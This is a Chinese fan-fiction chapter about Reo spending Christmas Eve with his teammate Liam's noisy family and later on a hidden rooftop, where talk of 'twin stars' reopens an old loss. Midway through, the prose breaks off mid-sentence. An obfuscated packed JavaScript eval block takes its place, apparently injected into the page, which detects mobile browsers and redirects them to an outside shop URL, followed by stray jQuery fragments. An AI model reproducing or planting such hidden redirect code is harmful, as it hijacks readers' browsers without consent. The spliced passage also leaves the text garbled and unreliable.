玲王早已搬离医疗中心的临时单间，他膝盖的恢复进展顺利，已经可以脱拐行走。圣诞节前夜的科尔尼训练基地几乎空了，此刻颇冷清。球员们大多回家团聚，只剩下零星的灯光和巡逻的安保人员的电筒光刺破沉沉雪夜。


    他原本计划用这个安静的夜晚复盘几场录像，说实话，作为一个亚洲人，圣诞节对他而言并不意义重大。然而计划被一阵粗暴的敲门声打断，好吧，又来这一套！


    利亚姆·弗林像一颗裹着风雪和节日彩纸的红色炮弹那样撞了进来，姜黄色的卷发上沾着未化的雪粒子，睫毛刷也挂着霜。他的手里还拎着一个印着驯鹿图案的帆布包，鼓鼓囊囊。


    “打包！快！十分钟后我老爸的车就到门口！”他嚷嚷着，不由分说就开始从玲王的储物柜里翻东西出来塞进包裹。其实也没什么东西可塞，主要是几件换洗衣物和必需的理疗用品。


    “天啊！利亚姆，我不……”


    “没有‘不’！”利亚姆转身，双手叉腰，“妈妈说了，绝不能让你一个人在这冷冰冰的地方过圣诞。还有老爸、姐姐们和小恶魔艾米丽全都投了赞成票。四比一，你输了！”


    “你还真是会让我措手不及！”


    利亚姆却突然凑近，有些羞赧：“而且我跟老爸吹牛说我有个超级厉害超级聪明的室友，足球踢得棒而且无所不能，他们都很想见见你。拜托了，Reo！”


    “哼哼。”玲王立刻得意起来，把侧边刘海撩到耳后，“你的评价倒是很中肯。”


    “走嘛！”


    弗林家在一个明显带着岁月痕迹的联排住宅区，典型的北伦敦建筑。街道狭窄，路边停满了车，家家户户窗内都闪烁着彩灯，门前挂着冬青花环。玲王能嗅到木柴燃烧的淡淡烟味，听见不知哪一户窗子里飞出来隐约的圣诞颂歌。


    还没进门，喧闹声就扑面而来。天啊，一个弗林尚且如此，一群弗林——岂不是要了人命吗？利亚姆刚推开那扇漆成墨绿色的门，混合着烤火鸡和柑橘味家具抛光剂的热浪便裹挟着声浪涌出，玲王转头看向利亚姆，真的进去吗？


    “他来了！妈妈！我把Reo带回来了！”利亚姆大喊着，一边帮玲王拍掉肩上的雪。


    门厅很小，挤满了外套和靴子。一个围着“Kiss the Cook”围裙，头发与利亚姆同色系的妇人从厨房探出头。她脸色红润，笑容温暖得像刚出炉的面包：“噢！欢迎欢迎，亲爱的！快进来，别在门口冻着！我是苏珊，这疯小子的妈妈！”


    “Reo，Mikage Reo，非常感谢您的邀请，弗林太太。”玲王用他最得体的礼仪微微欠身，有点懊恼没来得及准备礼物。苏珊顺势轻轻抱了他一下，身上带着肉桂和黄油的美好气味。


    玲王被利亚姆兴奋地拉着，见识了弗林家的全貌。客厅不算大，被一棵装饰得有些过于繁复，几乎顶到天花板的圣诞树占据了一角，树下堆着花花绿绿的礼物。电视里播放着老电影，沙发上、地毯上散落着家人。


    弗林们都对玲王投来好奇而友善的目光。


    两个年轻女孩正边笑边争论着什么，还有一个大约五六岁的扎着歪马尾的小女孩，正试图把包装纸粘在家里的拉布拉多犬身上。利亚姆说那是他的小恶魔妹妹艾米莉，下一秒妹妹眼睛睁得好大，脆声问：“Reo，你真的认识漩涡鸣人吗？”


    “抱歉，我和他不是很熟。”玲王笑着摸摸她的头，“不过我的国家队队友或许认识？毕竟他也是个忍者。”


    “所以，你就是利亚姆整天挂在嘴边的Reo？”刚铲完雪的弗林先生握手有力，笑容爽朗，“这小子休假时在家里念叨你的次数比他念叨足球还多。训练怎么样，比赛怎么样……他在家里没有兄弟，你们能做朋友真是再好不过了。”


    玲王有些愕然，看向利亚姆。对方挠着头嘟囔：“我倒也没有天天念叨啦。”


    晚餐漫长嘈杂，充满笑声。长桌挤在客厅与厨房的衔接处，每个人都在传递盘子，大声交谈。火鸡、烤土豆、布丁……分量实在大得惊人。御影玲王是个多会讨人喜欢的孩子，自有一套拉近距离的招数，而此刻全无用武之地。这家人天然对他有好感。


    食物很美味，交谈很愉快，就连那只拉布拉多犬把脑袋搁在他没受伤的膝盖边时他也没有推开。


    夜深了，姐姐们上楼休息，艾米莉在沙发上睡着，被妈妈抱回房间。弗林先生在厨房收拾残局，哼着歌。客厅里只剩下圣诞树闪烁的彩灯，以及并排坐在柔软旧地毯上的玲王和利亚姆。


    “怎么样？”利亚姆小声问，递给他一罐冰啤酒，“是不是吵得你头痛了？”


    玲王看着壁炉跳动的火焰，壁炉里的木柴发出噼啪声，他轻声说：“很热闹嘛。”


    “我就说嘛！比一个人待着强多了！”利亚姆得意地笑了，然后顿了顿，“那个……老爸他说的话，你别在意。他就是太夸张了！嗯！”


    其实你不提的话我已经忘记了，玲王腹诽。“不过他说的是真的吗？原来你很想有一个兄弟啊，我完全不知道。”


    “我家里没有其他男孩陪我玩了！”利亚姆的脸在炉火映照下有点红，他喝了一大口啤酒，望着天花板：“反正，我觉得你比我那些表哥表弟酷多了。而且你从来不会真的嫌我烦。”


    玲王很少喝这种普通的工业啤酒，但此刻在温暖的炉火旁，在圣诞树闪烁的微光下，又觉得似乎也没什么不好。“嫌烦还是嫌的。你半夜看球赛大呼小叫，拼乐高不看图纸，袜子总丢一只……都很烦人。”


    利亚姆立刻垮下脸：“喂！”


    玲王转过头：“我没有兄弟姐妹。”


    他的语气太过平静，反而让利亚姆心里有点不是滋味。他想起自己小时候和姐姐们为了遥控器大打出手，为了最后一块披萨斗智斗勇，那些鸡飞狗跳的日常对御影玲王来说竟是完全陌生的体验。


    “所以你那同情的眼神是怎么回事？”玲王疑惑，“每天在家里被佣人围绕着，出门后又到处都是保镖。最新款的游戏机，绝版的模型，想要什么都能立刻得到的话，难道不无聊吗？”


    “你……”利亚姆憋了半天，终于憋出一句，“你这个该死的，幸运的，万恶的有钱人！”


    “但是我从来没有像今天这样的经历，坦白来说，真的很神奇，谢谢你们的款待。”玲王举起自己的啤酒罐示意了一下，“所以抵消了。”


    利亚姆盯着他看了几秒，然后噗嗤一声笑了出来。他也举起自己的罐子和玲王的虚碰了一下。


    “好吧！”利亚姆装模作样地叹了口气，“看在你这么可怜的分上，兄弟我就勉强继续收留你，用我平凡的吵闹和混乱来拯救你过于有序的人生吧！”


    “那还真是感激不尽了？”玲王挑眉。


    利亚姆呆了一下，随即，一个仿佛能驱散所有冬夜寒意的笑容在他脸上绽开。他拿起啤酒罐猛灌了一大口，然后长长地舒了口气，整个人向后倒在柔软的地毯上，望着天花板上被彩灯映出的变幻的光斑。


    玲王应了一声，也学着利亚姆的样子，慢慢向后靠去，让


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895996|191326||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    自己更深地陷进柔软的地毯和温暖的氛围里。受伤的左腿小心地伸直，膝盖处仍有隐约的酸胀感，这让他放松的心情再次绷紧，把那罐只喝了一口的啤酒放在一旁。


    “喂，Reo！”利亚姆突然开口，“想不想看看我的秘密基地？”


    “如果有老鼠的话，我不去。” 他想象着某个堆满旧球衣和零食包装的壁橱。


    利亚姆竖起食指抵在唇边，做了个夸张的噤声动作。他动作轻巧地爬起来，示意玲王跟上。两人像做贼一样，踮着脚穿过安静黑暗的客厅，绕过厨房，悄悄爬上通往二楼的楼梯。木质楼梯在脚下发出极其轻微的吱呀声，每一次声响都让利亚姆紧张地缩缩脖子，回头对玲王做鬼脸。


    到了二楼走廊，利亚姆走向一扇不起眼的小门。那是通往阁楼的入口。他熟练地拉下折叠楼梯，两人都屏住呼吸听了一会儿，确认没有惊动任何人。


    阁楼比想象中宽敞，他带着玲王灵活地在杂物间穿行，走到阁楼另一端一扇低矮的像是通风窗的小门前。他熟练地拨开一个旧箱子，露出后面的门闩。


    “准备好了吗？”利亚姆回头，眼睛亮晶晶的。


    砰！他推开门——


    冷冽而清新的空气瞬间涌入。门外是一个铺着瓦片的屋顶平台，被房屋的主结构遮挡着，从下面街道完全看不见。平台不大，但足够两三个人坐下。


    伦敦冬夜的天空并非总是阴云密布。今夜的云层散去大半，露出深邃的墨蓝色天幕，上面洒满了碎钻般闪烁的星辰。没有城市中心光污染的干扰，一切如此真切。远处其他房屋的轮廓在夜色中起伏，零星几家窗户还亮着温暖的黄光，更远处是城市天际线模糊的光晕。


    “哇哦。”玲王忍不住轻声感叹。这景象与他习惯的从高层公寓俯瞰的城市夜景截然不同。好像伸手就能被星星刺伤。


    利亚姆得意地笑了，他率先走出去，在冰冷的瓦片上坐下后拍了拍身边的位置，玲王紧挨着他坐下，“小心点，有点滑。这里超棒，我小时候心情不好，或者想一个人待着的时候就躲到这里。”


    “看那边，”利亚姆忽然指向东方天空几颗明亮的星星，“那是猎户座，很容易认，那三颗排成一条线的就是他的腰带。”


    “那边是北斗七星，找到它，就能找到北极星……”


    “那个……嗯。”利亚姆的手指还悬在夜空中，指尖虚点着两颗挨得极近的星。话已出口才觉出几分仓促的窘迫，他对自己贫瘠的天文知识感到懊恼，只好硬着头皮补上一句：“那两颗，靠得那么紧的，大概是所谓双子星吧。”


    御影玲王的眼睛比星星黯淡。他过了好一会儿才几不可闻地吸了口气，那气息在冷空气中凝成极淡的白雾，又迅速散进夜色里。


    哦，是了。利亚姆之前一直不敢问他之前有没有其他搭档，那是个什么样的人，又有多么精彩惊艳的故事。他也永远不会问，尽管他的话从来是如此之多。


    “双子星是祝福。”他说，“所以我们会永远一起踢球的，搭档。”


    不，不，不。无论谁都不要讲那种话。


    双子星从来不是什么祝福吧？双子星想必是诅咒吧！不止我和他，不止他和他，不止谁和谁，不止我和你……我们听过的悲剧还不够多吗，我们见过的悲剧还不够多吗，卡在夜空中的那一颗球——它目送过的流星还不够多吗？


    星子们忽暗忽明。一场此消彼长的角力，如同霉斑般在天鹅绒帐子上蔓延。


    人是不可以在离天空太近的地方讲那种话的。